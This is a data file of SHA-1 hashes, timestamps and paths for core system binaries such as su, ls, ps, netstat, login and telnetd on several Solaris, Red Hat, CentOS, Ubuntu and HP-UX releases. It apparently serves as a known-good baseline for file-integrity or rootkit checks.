+646ABC806A1BE12D329D1E30506561F02779172F Sun Jan 23 02:28:17 2005 /usr/bin/su [Solaris 2.10 Generic x86_64] +6882AB19BC99ECD743165D452729CEE1CFC24DAB Sun Jan 23 02:28:12 2005 /usr/bin/i86/w [Solaris 2.10 Generic x86_64] +DCF8D221131224F1AAC2A56BAE1632153FF0D547 Sun Jan 23 02:28:05 2005 /usr/bin/amd64/w [Solaris 2.10 Generic x86_64] +6E3E9ED2AD92F0C4997CEFCE820B8E32AC2468E4 Sun Jan 23 02:28:32 2005 /usr/sbin/arp [Solaris 2.10 Generic x86_64] +36F85CF2775A46FB80DDA316BC3CB8D7D28409B1 Sun Jan 23 02:28:15 2005 /bin/rm [Solaris 2.10 Generic x86_64] +36F85CF2775A46FB80DDA316BC3CB8D7D28409B1 Sun Jan 23 02:28:15 2005 /usr/bin/rm [Solaris 2.10 Generic x86_64] +A7EE9527674974629668DF89CE1D57EB599A51DB Sun Jan 23 02:28:13 2005 /bin/ls [Solaris 2.10 Generic x86_64] +A7EE9527674974629668DF89CE1D57EB599A51DB Sun Jan 23 02:28:13 2005 /usr/bin/ls [Solaris 2.10 Generic x86_64] +CCED7DEC2BF08E7D70AB36C6132AFE2742ABF189 Sun Jan 23 02:28:09 2005 /bin/find [Solaris 2.10 Generic x86_64] +CCED7DEC2BF08E7D70AB36C6132AFE2742ABF189 Sun Jan 23 02:28:09 2005 /usr/bin/find [Solaris 2.10 Generic x86_64] +5899FF65DFB176DD94BC182FBA58F80CDB21E4BF Sun Jan 23 02:28:11 2005 /usr/bin/i86/ps [Solaris 2.10 Generic x86_64] +C910E111AB7B8EFCC3A07EC90A2BF3B76238DCA2 Sun Jan 23 02:28:04 2005 /usr/bin/amd64/ls [Solaris 2.10 Generic x86_64] +9C301BF5A2DCD4A7E81F8C0B459DA2CC1B388770 Sun Jan 23 02:28:05 2005 /usr/bin/amd64/ps [Solaris 2.10 Generic x86_64] +FCFC0287CDC3849DCAC7422BDA70CD3402C144C2 Sun Jan 23 02:28:14 2005 /bin/netstat [Solaris 2.10 Generic x86_64] +FCFC0287CDC3849DCAC7422BDA70CD3402C144C2 Sun Jan 23 02:28:14 2005 /usr/bin/netstat [Solaris 2.10 Generic x86_64] +1AF1F8957AADA5D625A0CA50EDD405275722FBD1 Sun Jan 23 02:28:35 2005 /usr/sbin/i86/modinfo [Solaris 2.10 Generic x86_64] +05E568DC9A392864711375DBBAC404D65F3CFF38 Sun Jan 23 02:28:31 2005 /usr/sbin/amd64/modinfo [Solaris 2.10 Generic x86_64] +0F28DDA880DB58BDD8701B34F190C8DBC3BBA5C9 Sun Jan 23 02:28:28 2005 /bin/ps [Solaris 2.10 Generic x86_64] +0F28DDA880DB58BDD8701B34F190C8DBC3BBA5C9 Sun Jan 23 02:28:28 2005 /bin/w [Solaris 2.10 Generic x86_64] +0F28DDA880DB58BDD8701B34F190C8DBC3BBA5C9 Sun Jan 23 02:28:28 2005 /usr/bin/ps [Solaris 2.10 Generic x86_64] +0F28DDA880DB58BDD8701B34F190C8DBC3BBA5C9 Sun Jan 23 02:28:28 2005 /usr/bin/w [Solaris 2.10 Generic x86_64] +0F28DDA880DB58BDD8701B34F190C8DBC3BBA5C9 Sun Jan 23 02:28:28 2005 /usr/sbin/modinfo [Solaris 2.10 Generic x86_64] +0F28DDA880DB58BDD8701B34F190C8DBC3BBA5C9 Sun Jan 23 02:28:28 2005 /usr/ucb/ps [Solaris 2.10 Generic x86_64] +21AD2ABA0254802631FD313E7CE09CB9F5D96165 Sun Jan 23 03:12:23 2005 /usr/sbin/in.tftpd [Solaris 2.10 Generic x86_64] +BA719DACB3E4CF0BD7152473345FCC0C3F58F133 Sun Jan 23 03:13:35 2005 /usr/sbin/in.telnetd [Solaris 2.10 Generic x86_64] +2D82121272D17634E550CA68B847BAED33837D65 Sun Jan 23 03:13:33 2005 /bin/telnet [Solaris 2.10 Generic x86_64] +2D82121272D17634E550CA68B847BAED33837D65 Sun Jan 23 03:13:33 2005 /usr/bin/telnet [Solaris 2.10 Generic x86_64] +30385903C93D44DD5AE04D04A21CF58E5E5E5DE2 Sun Jan 23 02:27:05 2005 /bin/sh [Solaris 2.10 Generic x86_64] +646ABC806A1BE12D329D1E30506561F02779172F Sun Jan 23 02:28:17 2005 /sbin/su [Solaris 2.10 Generic x86_64] +30385903C93D44DD5AE04D04A21CF58E5E5E5DE2 Sun Jan 23 02:27:05 2005 /usr/bin/sh [Solaris 2.10 Generic x86_64] +1F5E40156F213B46BBB40E6C90DB11D27443D753 Sun Jan 23 02:28:28 2005 /usr/sbin/inetd [Solaris 2.10 Generic x86_64] +0F28DDA880DB58BDD8701B34F190C8DBC3BBA5C9 Sun Jan 23 02:28:28 2005 /usr/ucb/w [Solaris 2.10 Generic x86_64] +2D82121272D17634E550CA68B847BAED33837D65 Sun Jan 23 03:13:33 2005 /usr/ucb/telnet [Solaris 2.10 Generic x86_64] +FCFC0287CDC3849DCAC7422BDA70CD3402C144C2 Sun Jan 23 02:28:14 2005 /usr/ucb/netstat [Solaris 2.10 Generic x86_64] + +FD9185AA51E08851206958C72BB167CE43378822 Tue Sep 1 11:02:38 1998 /usr/bin/sparcv9/ls [Solaris 2.7 Generic] +850288887F08A27889C5B2AB093B2832D6A61506 Tue Sep 1 11:04:16 1998 /usr/bin/sparcv9/ps [Solaris 2.7 Generic] +CD8C2B7D1AA52C630A23ABB1CCBAB1A8F1F9E10D Tue Sep 1 11:04:15 1998 /sbin/sh [Solaris 2.7 Generic] +114B804FDB7ED51E4621DD1A4BBAA1536A607E52 Tue Sep 1 11:05:27 1998 /usr/bin/sparcv9/w [Solaris 2.7 Generic] +F804A004EA61DB53D369988929D837B5DFF8935C Tue Sep 1 11:08:08 1998 /usr/sbin/in.ftpd [Solaris 2.7 Generic] +9065C6DC1D16C3C2F8C4E92CF8D06BC55E29BFF2 Tue Sep 1 11:15:36 1998 /usr/ucb/ls [Solaris 2.7 Generic] +0CA20D6861F2C7F08D6263A262B60E0AB9FF0674 Tue Oct 6 07:40:05 1998 /bin/ps [Solaris 2.7 Generic] +0CA20D6861F2C7F08D6263A262B60E0AB9FF0674 Tue Oct 6 07:40:05 1998 /bin/w [Solaris 2.7 Generic] +0CA20D6861F2C7F08D6263A262B60E0AB9FF0674 Tue Oct 6 07:40:05 1998 /usr/bin/ps [Solaris 2.7 Generic] +0CA20D6861F2C7F08D6263A262B60E0AB9FF0674 Tue Oct 6 07:40:05 1998 /usr/bin/w [Solaris 2.7 Generic] +0CA20D6861F2C7F08D6263A262B60E0AB9FF0674 Tue Oct 6 07:40:05 1998 /usr/ucb/ps [Solaris 2.7 Generic] +315B5E7D5C63A25337AF5771378D215993C0C621 Tue Oct 6 07:41:14 1998 /bin/find [Solaris 2.7 Generic] +315B5E7D5C63A25337AF5771378D215993C0C621 Tue Oct 6 07:41:14 1998 /usr/bin/find [Solaris 2.7 Generic] +39A3D7A8BCB37038C528F274186E10162E60756C Tue Oct 6 07:42:39 1998 /bin/login [Solaris 2.7 Generic] +39A3D7A8BCB37038C528F274186E10162E60756C Tue Oct 6 07:42:39 1998 /usr/bin/login [Solaris 2.7 Generic] +1AF5C066C873427A484966561BABA40EDBA23128 Tue Oct 6 07:43:05 1998 /bin/ls [Solaris 2.7 Generic] +1AF5C066C873427A484966561BABA40EDBA23128 Tue Oct 6 07:43:05 1998 /usr/bin/ls [Solaris 2.7 Generic] +9051FA3F23E3EF9E7BC521D266E6F9DFDA1D1E85 Tue Oct 6 07:44:51 1998 /usr/bin/sparcv7/ps [Solaris 2.7 Generic] +0BE3D9023D9AC2C4D5BDC2C63DCAEC2E4AD55E5A Tue Oct 6 07:44:58 1998 /bin/rm [Solaris 2.7 Generic] +0BE3D9023D9AC2C4D5BDC2C63DCAEC2E4AD55E5A Tue Oct 6 07:44:58 1998 /usr/bin/rm [Solaris 2.7 Generic] +96D8453F6D004A6E26E5BA7F1B298008330D01B3 Tue Oct 6 07:44:52 1998 /usr/sbin/modinfo [Solaris 2.7 Generic] +35BFB972AE03777DC059337DCD45E5FFF58A0B98 Tue Oct 6 07:46:04 1998 /bin/su [Solaris 2.7 Generic] +35BFB972AE03777DC059337DCD45E5FFF58A0B98 Tue Oct 6 07:46:04 1998 /usr/bin/su [Solaris 2.7 Generic] +C4CE3F88CA0F66500AE6D2FABAB076A2E0F6A1AD Tue Oct 6 07:46:05 1998 /bin/sh [Solaris 2.7 Generic] +C4CE3F88CA0F66500AE6D2FABAB076A2E0F6A1AD Tue Oct 6 07:46:05 1998 /usr/bin/sh [Solaris 2.7 Generic] +B02D486C71C174DC6745A404705463F969D6B11A Tue Oct 6 07:47:26 1998 /usr/bin/sparcv7/w [Solaris 2.7 Generic] +2457D9B07DA6FB0B534689EEED478A597C3B3D94 Tue Oct 6 07:48:55 1998 /usr/sbin/arp [Solaris 2.7 Generic] +72762248AB9AC460555DCB520DF8B0FFF07B3E17 Tue Oct 6 07:48:59 1998 /usr/sbin/in.rlogind [Solaris 2.7 Generic] +1E2DC4EF63957A277DA9823C2EB04C68B9D1463A Tue Oct 6 07:48:59 1998 /usr/sbin/in.rshd [Solaris 2.7 Generic] +1C0928EBA7231CE4DC870D18C951AC994A41E1ED Tue Oct 6 07:49:07 1998 /usr/sbin/in.tftpd [Solaris 2.7 Generic] +480C69196D6D68631F61C0A139DFD337EFA8A70E Tue Oct 6 07:49:06 1998 /usr/sbin/in.telnetd [Solaris 2.7 Generic] +BF6052BB9B886AB1D2C5A22136732666BF769BF7 Tue Oct 6 07:49:09 1998 /usr/sbin/inetd [Solaris 2.7 Generic] +92B490F6791C5F13CC6B0AAF6EE314A69424D861 Tue Oct 6 07:50:25 1998 /bin/netstat [Solaris 2.7 Generic] +92B490F6791C5F13CC6B0AAF6EE314A69424D861 Tue Oct 6 07:50:25 1998 /usr/bin/netstat [Solaris 2.7 Generic] +BC60BB35B6E52CC3BF94E0B37F74B0E4B326191E Tue Oct 6 07:50:29 1998 /bin/telnet [Solaris 2.7 Generic] +BC60BB35B6E52CC3BF94E0B37F74B0E4B326191E Tue Oct 6 07:50:29 1998 /usr/bin/telnet [Solaris 2.7 Generic] +35BFB972AE03777DC059337DCD45E5FFF58A0B98 Tue Oct 6 07:46:04 1998 /sbin/su [Solaris 2.7 Generic] +0CA20D6861F2C7F08D6263A262B60E0AB9FF0674 Tue Oct 6 07:40:05 1998 /usr/ucb/w [Solaris 2.7 Generic] +BC60BB35B6E52CC3BF94E0B37F74B0E4B326191E Tue Oct 6 07:50:29 1998 /usr/ucb/telnet [Solaris 2.7 Generic] +92B490F6791C5F13CC6B0AAF6EE314A69424D861 Tue Oct 6 07:50:25 1998 /usr/ucb/netstat [Solaris 2.7 Generic] + +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_144488-11] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_144488-11] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_144488-11] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_144488-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_144488-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_144488-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_144488-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_144488-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_144488-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_144488-11] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_144488-11] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /bin/rm [Solaris 2.10 Generic_144488-11] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /usr/bin/rm [Solaris 2.10 Generic_144488-11] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /bin/netstat [Solaris 2.10 Generic_144488-11] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/bin/netstat [Solaris 2.10 Generic_144488-11] +CA74D0528EDC62004E1012031CD7DFDE6B4F9077 Thu Aug 16 17:23:00 2007 /usr/sbin/arp [Solaris 2.10 Generic_144488-11] +F9F01D43C2C29597F03F980D0EF1D914A1E60D6F Mon Apr 7 23:09:47 2008 /usr/sbin/in.telnetd [Solaris 2.10 Generic_144488-11] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /bin/telnet [Solaris 2.10 Generic_144488-11] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/bin/telnet [Solaris 2.10 Generic_144488-11] +0249DF8DAF81051E46862459152FAB469CBEFB97 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rlogind [Solaris 2.10 Generic_144488-11] +607C0342F077A6FD049145627389AA235A8AAA58 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rshd [Solaris 2.10 Generic_144488-11] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /bin/ls [Solaris 2.10 Generic_144488-11] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /usr/bin/ls [Solaris 2.10 Generic_144488-11] +FB1685723025277D3C2021B209343B0BAE2F8C57 Wed Jun 11 15:58:26 2008 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_144488-11] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /bin/find [Solaris 2.10 Generic_144488-11] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /usr/bin/find [Solaris 2.10 Generic_144488-11] +B7DFA864D3C684618722F902175267DDB09CFEAC Wed Sep 22 12:36:16 2010 /bin/sh [Solaris 2.10 Generic_144488-11] +7DFAEE3ABA0F42A7EC9F5A478F00E97071A09964 Wed Sep 22 12:16:47 2010 /sbin/su [Solaris 2.10 Generic_144488-11] +B7DFA864D3C684618722F902175267DDB09CFEAC Wed Sep 22 12:36:16 2010 /usr/bin/sh [Solaris 2.10 Generic_144488-11] +201BA78CB4D1F9F029C66BE99395AC236D92BE9B Mon Apr 7 23:16:44 2008 /usr/sbin/inetd [Solaris 2.10 Generic_144488-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_144488-11] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/ucb/telnet [Solaris 2.10 Generic_144488-11] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/ucb/netstat [Solaris 2.10 Generic_144488-11] +0D68B0A5A47E123AAC83F2F52A831290137BE5B8 Mon Aug 17 21:58:27 2009 /usr/bin/sparcv9/w [Solaris 2.10 Generic_144488-11] +8DAB48440DFF0646D478664D9445D3E8EAD0C457 Tue Aug 10 17:51:17 2010 /usr/sbin/in.tftpd [Solaris 2.10 Generic_144488-11] +7DFAEE3ABA0F42A7EC9F5A478F00E97071A09964 Wed Sep 22 12:16:47 2010 /bin/su [Solaris 2.10 Generic_144488-11] +7DFAEE3ABA0F42A7EC9F5A478F00E97071A09964 Wed Sep 22 12:16:47 2010 /usr/bin/su [Solaris 2.10 Generic_144488-11] +B7DFA864D3C684618722F902175267DDB09CFEAC Wed Sep 22 12:36:16 2010 /sbin/sh [Solaris 2.10 Generic_144488-11] +7267668BBEE1D4019951FD3DF40219E0F5155CC3 Tue Oct 19 21:30:30 2010 /usr/sbin/in.ftpd [Solaris 2.10 Generic_144488-11] + +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_141444-09] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_141444-09] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_141444-09] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_141444-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_141444-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_141444-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_141444-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_141444-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_141444-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_141444-09] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_141444-09] +7517C58435FCEC3DA4FC086FBD451F380DF487B4 Fri Jun 30 00:39:44 2006 /usr/sbin/in.tftpd [Solaris 2.10 Generic_141444-09] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /bin/rm [Solaris 2.10 Generic_141444-09] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /usr/bin/rm [Solaris 2.10 Generic_141444-09] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /bin/netstat [Solaris 2.10 Generic_141444-09] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/bin/netstat [Solaris 2.10 Generic_141444-09] +CA74D0528EDC62004E1012031CD7DFDE6B4F9077 Thu Aug 16 17:23:00 2007 /usr/sbin/arp [Solaris 2.10 Generic_141444-09] +F9F01D43C2C29597F03F980D0EF1D914A1E60D6F Mon Apr 7 23:09:47 2008 /usr/sbin/in.telnetd [Solaris 2.10 Generic_141444-09] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /bin/telnet [Solaris 2.10 Generic_141444-09] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/bin/telnet [Solaris 2.10 Generic_141444-09] +0249DF8DAF81051E46862459152FAB469CBEFB97 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rlogind [Solaris 2.10 Generic_141444-09] +607C0342F077A6FD049145627389AA235A8AAA58 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rshd [Solaris 2.10 Generic_141444-09] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /bin/ls [Solaris 2.10 Generic_141444-09] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /usr/bin/ls [Solaris 2.10 Generic_141444-09] +FB1685723025277D3C2021B209343B0BAE2F8C57 Wed Jun 11 15:58:26 2008 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_141444-09] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /bin/find [Solaris 2.10 Generic_141444-09] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /usr/bin/find [Solaris 2.10 Generic_141444-09] +5F2DB0D3FA53401170294FE789E691837B1F91A9 Wed Dec 10 02:44:42 2008 /usr/sbin/in.ftpd [Solaris 2.10 Generic_141444-09] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /bin/su [Solaris 2.10 Generic_141444-09] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /usr/bin/su [Solaris 2.10 Generic_141444-09] +DBD3B09482A1243D0CE4613581041AAF1A59C093 Sat Jun 27 03:20:42 2009 /sbin/sh [Solaris 2.10 Generic_141444-09] +0D68B0A5A47E123AAC83F2F52A831290137BE5B8 Mon Aug 17 21:58:27 2009 /usr/bin/sparcv9/w [Solaris 2.10 Generic_141444-09] +DBD3B09482A1243D0CE4613581041AAF1A59C093 Sat Jun 27 03:20:42 2009 /bin/sh [Solaris 2.10 Generic_141444-09] +DBD3B09482A1243D0CE4613581041AAF1A59C093 Sat Jun 27 03:20:42 2009 /usr/bin/sh [Solaris 2.10 Generic_141444-09] +201BA78CB4D1F9F029C66BE99395AC236D92BE9B Mon Apr 7 23:16:44 2008 /usr/sbin/inetd [Solaris 2.10 Generic_141444-09] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /sbin/su [Solaris 2.10 Generic_141444-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_141444-09] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/ucb/telnet [Solaris 2.10 Generic_141444-09] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/ucb/netstat [Solaris 2.10 Generic_141444-09] + +B5DCD7DB3E992DEA636AA096FDC6FF9AD3B1C65D Fri Feb 27 10:20:25 2004 /usr/bin/find [CentOS 3.5] +746A00DAD1FD5C7214180E88A64DFD22B986CFED Wed Mar 17 00:15:26 2004 /bin/su [CentOS 3.5] +55D0D5F0950CCC25975FD7855AD83DAEA556DADD Wed Mar 17 00:15:37 2004 /bin/rm [CentOS 3.5] +D918905A06D42629658FB05AFD59510EA62BF2F3 Wed Mar 17 00:15:37 2004 /bin/ls [CentOS 3.5] +0D1FB3E32AF6B1EA6367F52C1B4779907E55CA6B Thu Sep 9 09:17:05 2004 /usr/sbin/xinetd [CentOS 3.5] +9486D2ECBC7AA6E5D2E351D4C0373846E01E6990 Sat Dec 11 01:30:43 2004 /sbin/modinfo [CentOS 3.5] +7E20BA54A9528FEAEE355379E28A654798C27660 Tue Mar 29 07:26:56 2005 /usr/bin/telnet [CentOS 3.5] +AC0B1B2B68951695BBD1CCAB92FB4384C90468B8 Wed Apr 13 04:44:24 2005 /sbin/arp [CentOS 3.5] +AA17939CC4F77A6F3C8DA4C046F0E746DE9E1426 Wed Apr 13 04:44:24 2005 /bin/netstat [CentOS 3.5] +33B77711E46D914F4D63D1CD82FD38AE91D43C92 Wed Apr 13 10:06:54 2005 /bin/login [CentOS 3.5] +8D40D633EF54689A0BEDA5F76B0643D16F62831B Wed May 25 01:25:40 2005 /usr/bin/w [CentOS 3.5] +07092BF363D70F81122058BDC4D87A6971BB0FC0 Wed May 25 01:25:40 2005 /bin/ps [CentOS 3.5] +184227CEF0778C65C3BE73B53DAEB04283E81789 Wed Apr 13 11:11:21 2005 /bin/sh [CentOS 3.5] + +CBBED84639A2D7A19595CD8E48E6D32CB59B978F Fri Jan 24 23:53:44 2003 /usr/bin/find [RedHat 9.0] +9B2D6E79A7F32A86A59E87841A6BEF575240DCC7 Wed Jan 29 10:55:50 2003 /usr/bin/telnet [RedHat 9.0] +7EBB4F221BD51C7448A8182FD8973E6FCDCC8185 Tue Feb 11 14:33:31 2003 /sbin/arp [RedHat 9.0] +1C9D990216D0D988E66DEDA77AD311CB83970F8D Tue Feb 11 14:33:31 2003 /bin/netstat [RedHat 9.0] +BF0C09BD712BA06D5FA5CC939220F960497B17EB Tue Feb 11 22:08:22 2003 /sbin/modinfo [RedHat 9.0] +3D3713894CCB027A467BCE35D8D4727562BE7930 Tue Feb 18 17:19:48 2003 /bin/su [RedHat 9.0] +6579E5BFF800A3BA03E8B2352D345E1A01FA6D9E Tue Feb 18 17:19:55 2003 /bin/rm [RedHat 9.0] +45929C03A7C84687A73543CC348484EDC3829496 Tue Feb 18 17:19:55 2003 /bin/ls [RedHat 9.0] +42BD4C916081976D6053E0252189F42275689622 Thu Feb 20 11:53:56 2003 /usr/bin/w [RedHat 9.0] +123CBCE23DBB61CD61F13390178B0A2FBCD190CE Thu Feb 20 11:53:56 2003 /bin/ps [RedHat 9.0] +840849BB17DE89B19FE968AE4700F570240ED0E5 Tue Feb 25 00:10:43 2003 /usr/sbin/xinetd [RedHat 9.0] +99D3A63CEEB1FC440641DB21E76DD146864EF948 Tue Feb 25 00:11:43 2003 /bin/login [RedHat 9.0] +A93F8ED65E2EBDA13F62F7611392C4A93BAC17D0 Tue Feb 11 13:34:45 2003 /bin/sh [RedHat 9.0] + +1892268BF195AC118076B1B0F53E7A637EB6FBB3 Wed Dec 16 19:34:41 2009 /bin/ps [Ubuntu 10.04] +42E7E875E2C6D9B8787388E76185DD306870E5D6 Tue Jan 12 13:03:58 2010 /usr/sbin/update-inetd [Ubuntu 10.04] +1AC8D28E4A0620AF622DC40DAFA066AAA7995B6C Tue Jan 26 17:09:45 2010 /bin/su [Ubuntu 10.04] +D2B0A66038C61A400786EC385142350B147D8782 Tue Jan 26 17:09:45 2010 /bin/login [Ubuntu 10.04] +E955401C45CBB9B948FB20CBA26543A0EDD07FB7 Fri Feb 12 00:38:27 2010 /bin/netstat [Ubuntu 10.04] +2386D6756EC85F7B7366F266ABD692323DC624AD Fri Feb 12 00:38:27 2010 /usr/sbin/arp [Ubuntu 10.04] +A1B43A43A2BF5F603E96D42F4E4400C0EFAD500A Fri Mar 5 03:29:52 2010 /bin/ls [Ubuntu 10.04] +572ACAD1E46523FEEB43663A580009DEB697F473 Fri Mar 5 03:29:52 2010 /bin/rm [Ubuntu 10.04] +61457472378DB0FC2B45A1AB0FBEF2FA14B99681 Tue Mar 9 13:22:56 2010 /usr/bin/find [Ubuntu 10.04] +534DEB8CAD2E5A8876D0B53A4EAB408A106DE447 Wed Apr 14 04:26:37 2010 /sbin/modinfo [Ubuntu 10.04] +E54C58E3A7119FF2F42E0415C10D9EE9A580CE3A Wed Dec 16 19:34:41 2009 /usr/bin/w [Ubuntu 10.04] +80018AD5DC87488C52033D95CBCBB740A8BC89B7 Thu Apr 1 19:22:56 2010 /bin/sh [Ubuntu 10.04] +3C512821B02D8C052982AF59A09477E50C106425 Sun Mar 7 03:23:02 2010 /usr/bin/telnet [Ubuntu 10.04] + +B8D60651D2C5154E5EE63978B4DBF5E0FCB8377C Wed Dec 16 19:34:43 2009 /bin/ps [Ubuntu 10.04 x86_64] +42E7E875E2C6D9B8787388E76185DD306870E5D6 Tue Jan 12 13:03:58 2010 /usr/sbin/update-inetd [Ubuntu 10.04 x86_64] +EDCF8B833CA55C0C5C153882E63AB6CEC1800BCA Tue Jan 26 17:09:07 2010 /bin/su [Ubuntu 10.04 x86_64] +35E2EFB21B3C21960B0EE3FCFEE8D153792E346F Tue Jan 26 17:09:07 2010 /bin/login [Ubuntu 10.04 x86_64] +05173162F138EE32C21047A04A918701F786A7F0 Fri Feb 12 01:15:25 2010 /usr/sbin/arp [Ubuntu 10.04 x86_64] +30CBED61DC258DC8787AF3FF2CCEAF3FB14B6B56 Fri Feb 12 01:15:25 2010 /bin/netstat [Ubuntu 10.04 x86_64] +E42198E1D30D68030C75DEAAC512BE50193139DC Fri Mar 5 03:41:17 2010 /bin/rm [Ubuntu 10.04 x86_64] +8B4BB8CE7F93984B1EBF9CE7A2708893D63FD8E9 Tue Sep 21 18:32:55 2010 /bin/rm [Ubuntu 10.04 x86_64] +9DF05263EEE6CA2F696B6B1A92D54CD99FB07BA2 Fri Mar 5 03:41:16 2010 /bin/ls [Ubuntu 10.04 x86_64] +800F2BC3209A557587996E08D6A4117DEACC25BC Tue Sep 21 18:32:55 2010 /bin/ls [Ubuntu 10.04 x86_64] +9E69CF4621EBF4368277315B17497937EED68EE5 Tue Mar 9 13:23:11 2010 /usr/bin/find [Ubuntu 10.04 x86_64] +372ECEAAE6EEED7740A620B136D8A5E8CBA168DB Wed Apr 14 04:36:51 2010 /sbin/modinfo [Ubuntu 10.04 x86_64] +DD9E1469EE3CE4DE13E85988F94D2EB75DBA2221 Thu Apr 1 23:29:39 2010 /bin/sh [Ubuntu 10.04 x86_64] +61BC44AC912AB1236EA5F55B63EFD143727A1DCF Wed Dec 16 19:34:43 2009 /usr/bin/w [Ubuntu 10.04 x86_64] +363B18EEECF34CCF38EB0207504A3FA41E5B2719 Sun Mar 7 04:16:54 2010 /usr/bin/telnet [Ubuntu 10.04 x86_64] + +31547D7FD8D683417A1F57BC9818EB84ADA3838E Fri Mar 26 08:00:00 2004 /bin/su [HP-UX B.11.23 ia64] 